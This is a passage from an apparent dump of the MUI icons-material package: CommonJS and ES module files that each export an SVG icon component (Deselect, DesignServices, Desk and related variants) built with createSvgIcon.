    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'DeselectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'DeselectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zM9 15v-3.17L12.17 15zM2.1 3.51c-.39.39-.39 1.02 0 1.41L4.17 7H3v2h2V7.83l2 2V16c0 .55.45 1 1 1h6.17l2 2H15v2h2v-1.17l2.07 2.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0M17 8c0-.55-.45-1-1-1H9.83l2 2H15v3.17l2 2z\"\n}), 'DeselectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zM9 15v-3.17L12.17 15zM2.1 3.51c-.39.39-.39 1.02 0 1.41L4.17 7H3v2h2V7.83l2 2V16c0 .55.45 1 1 1h6.17l2 2H15v2h2v-1.17l2.07 2.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0M17 8c0-.55-.45-1-1-1H9.83l2 2H15v3.17l2 2z\"\n}), 'DeselectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2V3zM5 21v-2H3v2zm-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'DeselectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2V3zM5 21v-2H3v2zm-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'DeselectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'DeselectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'DeselectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServices.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.24 11.51 1.57-1.57-3.75-3.75-1.57 1.57-4.14-4.13c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l4.13 4.13L3 17.25V21h3.75l4.76-4.76 4.13 4.13c.95.95 2.23.6 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83zm-7.06-.44L5.04 6.94l1.89-1.9L8.2 6.31 7.02 7.5l1.41 1.41 1.19-1.19 1.45 1.45zm7.88 7.89-4.13-4.13 1.9-1.9 1.45 1.45-1.19 1.19 1.41 1.41 1.19-1.19 1.27 1.27zm3.65-11.92c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.47-.47-1.12-.29-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'DesignServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.24 11.51 1.57-1.57-3.75-3.75-1.57 1.57-4.14-4.13c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l4.13 4.13L3 17.25V21h3.75l4.76-4.76 4.13 4.13c.95.95 2.23.6 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83zm-7.06-.44L5.04 6.94l1.89-1.9L8.2 6.31 7.02 7.5l1.41 1.41 1.19-1.19 1.45 1.45zm7.88 7.89-4.13-4.13 1.9-1.9 1.45 1.45-1.19 1.19 1.41 1.41 1.19-1.19 1.27 1.27zm3.65-11.92c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.47-.47-1.12-.29-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'DesignServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.97 7.27c.39-.39.39-1.02 0-1.41l-2.83-2.83a.996.996 0 0 0-1.41 0l-4.49 4.49-3.89-3.89c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l3.89 3.89L3 16.76V21h4.24l4.52-4.52 3.89 3.89c.95.95 2.23.6 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83l-3.89-3.89zM5.04 6.94l1.89-1.9L8.2 6.31 7.02 7.5l1.41 1.41 1.19-1.19 1.2 1.2-1.9 1.9zm11.23 7.44-1.19 1.19 1.41 1.41 1.19-1.19 1.27 1.27-1.9 1.9-3.89-3.89 1.9-1.9zM6.41 19H5v-1.41l9.61-9.61 1.3 1.3.11.11zm9.61-12.44 1.41-1.41 1.41 1.41-1.41 1.41z\"\n}), 'DesignServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.97 7.27c.39-.39.39-1.02 0-1.41l-2.83-2.83a.996.996 0 0 0-1.41 0l-4.49 4.49-3.89-3.89c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l3.89 3.89L3 16.76V21h4.24l4.52-4.52 3.89 3.89c.95.95 2.23.6 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83l-3.89-3.89zM5.04 6.94l1.89-1.9L8.2 6.31 7.02 7.5l1.41 1.41 1.19-1.19 1.2 1.2-1.9 1.9zm11.23 7.44-1.19 1.19 1.41 1.41 1.19-1.19 1.27 1.27-1.9 1.9-3.89-3.89 1.9-1.9zM6.41 19H5v-1.41l9.61-9.61 1.3 1.3.11.11zm9.61-12.44 1.41-1.41 1.41 1.41-1.41 1.41z\"\n}), 'DesignServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.24 11.51 1.57-1.57-3.75-3.75-1.57 1.57-4.14-4.13c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l4.13 4.13-4.6 4.61q-.15.15-.15.36v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15l4.62-4.62 4.13 4.13c1.32 1.32 2.76.07 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83zm-7.06-.44L5.04 6.94l1.89-1.9L8.2 6.31l-.47.49c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.48-.48 1.45 1.45zm7.88 7.89-4.13-4.13 1.9-1.9 1.45 1.45-.48.48c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.48-.48 1.27 1.27zm3.65-11.92c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.47-.47-1.12-.29-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'DesignServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.24 11.51 1.57-1.57-3.75-3.75-1.57 1.57-4.14-4.13c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l4.13 4.13-4.6 4.61q-.15.15-.15.36v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15l4.62-4.62 4.13 4.13c1.32 1.32 2.76.07 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83zm-7.06-.44L5.04 6.94l1.89-1.9L8.2 6.31l-.47.49c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.48-.48 1.45 1.45zm7.88 7.89-4.13-4.13 1.9-1.9 1.45 1.45-.48.48c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.48-.48 1.27 1.27zm3.65-11.92c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.47-.47-1.12-.29-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'DesignServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.79 17.06-5.55-5.55 1.57-1.57-3.75-3.75-1.57 1.57-5.55-5.55-4.73 4.73 5.55 5.55L3 17.25V21h3.75l4.76-4.76 5.55 5.55zM9.18 11.07 5.04 6.94l1.9-1.9 1.27 1.27L7.02 7.5l1.41 1.41 1.19-1.19 1.45 1.45zm3.75 3.75 1.9-1.9 1.45 1.45-1.19 1.19 1.41 1.41 1.19-1.19 1.27 1.27-1.9 1.9zm2.203-9.6971 2.5385-2.5385 3.7477 3.7476-2.5385 2.5386z\"\n}), 'DesignServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.79 17.06-5.55-5.55 1.57-1.57-3.75-3.75-1.57 1.57-5.55-5.55-4.73 4.73 5.55 5.55L3 17.25V21h3.75l4.76-4.76 5.55 5.55zM9.18 11.07 5.04 6.94l1.9-1.9 1.27 1.27L7.02 7.5l1.41 1.41 1.19-1.19 1.45 1.45zm3.75 3.75 1.9-1.9 1.45 1.45-1.19 1.19 1.41 1.41 1.19-1.19 1.27 1.27-1.9 1.9zm2.203-9.6971 2.5385-2.5385 3.7477 3.7476-2.5385 2.5386z\"\n}), 'DesignServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.91 9.28-1.3-1.3L5 17.59V19h1.41l9.61-9.61zm-5.08-.35-1.2-1.2-1.19 1.19L7.02 7.5l1.19-1.18-1.27-1.28-1.9 1.9 3.89 3.89zm5.44 5.45-1.2-1.21-1.9 1.9 3.89 3.89 1.9-1.9-1.27-1.27-1.19 1.19-1.42-1.41zm-.2492-7.822 1.4142-1.4143 1.4142 1.4142-1.4142 1.4142z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.97 5.86-2.83-2.83a.996.996 0 0 0-1.41 0l-4.49 4.49-3.89-3.89c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l3.89 3.89L3 16.76V21h4.24l4.52-4.52 3.89 3.89c.95.95 2.23.6 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83l-3.89-3.89 4.49-4.49c.38-.38.38-1.01-.01-1.4M5.04 6.94l1.89-1.9L8.2 6.31 7.02 7.5l1.41 1.41 1.19-1.19 1.2 1.2-1.9 1.9zM6.41 19H5v-1.41l9.61-9.61 1.3 1.3.11.11zm10.09-2.02 1.19-1.19 1.27 1.27-1.9 1.9-3.89-3.89 1.9-1.9 1.2 1.2-1.19 1.19zm.94-9-1.41-1.41 1.41-1.41 1.41 1.41z\"\n}, \"1\")], 'DesignServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesignServicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.91 9.28-1.3-1.3L5 17.59V19h1.41l9.61-9.61zm-5.08-.35-1.2-1.2-1.19 1.19L7.02 7.5l1.19-1.18-1.27-1.28-1.9 1.9 3.89 3.89zm5.44 5.45-1.2-1.21-1.9 1.9 3.89 3.89 1.9-1.9-1.27-1.27-1.19 1.19-1.42-1.41zm-.2492-7.822 1.4142-1.4143 1.4142 1.4142-1.4142 1.4142z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.97 5.86-2.83-2.83a.996.996 0 0 0-1.41 0l-4.49 4.49-3.89-3.89c-.78-.78-2.05-.78-2.83 0l-1.9 1.9c-.78.78-.78 2.05 0 2.83l3.89 3.89L3 16.76V21h4.24l4.52-4.52 3.89 3.89c.95.95 2.23.6 2.83 0l1.9-1.9c.78-.78.78-2.05 0-2.83l-3.89-3.89 4.49-4.49c.38-.38.38-1.01-.01-1.4M5.04 6.94l1.89-1.9L8.2 6.31 7.02 7.5l1.41 1.41 1.19-1.19 1.2 1.2-1.9 1.9zM6.41 19H5v-1.41l9.61-9.61 1.3 1.3.11.11zm10.09-2.02 1.19-1.19 1.27 1.27-1.9 1.9-3.89-3.89 1.9-1.9 1.2 1.2-1.19 1.19zm.94-9-1.41-1.41 1.41-1.41 1.41 1.41z\"\n}, \"1\")], 'DesignServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Desk.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 2v2h-4V8zm-4 6v-2h4v2z\"\n}), 'Desk');"
  },
  {
    "path": "packages/mui-icons-material/lib/Desk.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 2v2h-4V8zm-4 6v-2h4v2z\"\n}), 'Desk');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 2v2h-4V8zm-4 6v-2h4v2z\"\n}), 'DeskOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 2v2h-4V8zm-4 6v-2h4v2z\"\n}), 'DeskOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7v10c0 .55.45 1 1 1s1-.45 1-1V8h10v9c0 .55.45 1 1 1s1-.45 1-1v-1h4v1c0 .55.45 1 1 1s1-.45 1-1V7c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1m18 1v2h-4V8zm-4 6v-2h4v2z\"\n}), 'DeskRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7v10c0 .55.45 1 1 1s1-.45 1-1V8h10v9c0 .55.45 1 1 1s1-.45 1-1v-1h4v1c0 .55.45 1 1 1s1-.45 1-1V7c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1m18 1v2h-4V8zm-4 6v-2h4v2z\"\n}), 'DeskRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 2v2h-4V8zm-4 6v-2h4v2z\"\n}), 'DeskSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 2v2h-4V8zm-4 6v-2h4v2z\"\n}), 'DeskSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 8h4v2h-4zm0 4h4v2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 8h-4v-2h4zm0-4h-4V8h4z\"\n}, \"1\")], 'DeskTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeskTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 8h4v2h-4zm0 4h4v2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6v12h2V8h10v10h2v-2h4v2h2V6zm18 8h-4v-2h4zm0-4h-4V8h4z\"\n}, \"1\")], 'DeskTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 16c0 1.1-.9 2-2 2h-1l-2-2h3V4H6L4 2h17c1.1 0 2 .9 2 2zm-5.5 2-2-2zm-2.6 0 6 6 1.3-1.3-4.7-4.7-2-2L1.2 1.8 0 3.1l1 1V16c0 1.1.9 2 2 2h7v2H8v2h8v-2h-2v-2zM3 16V6.1l9.9 9.9z\"\n}), 'DesktopAccessDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabled.mjs",
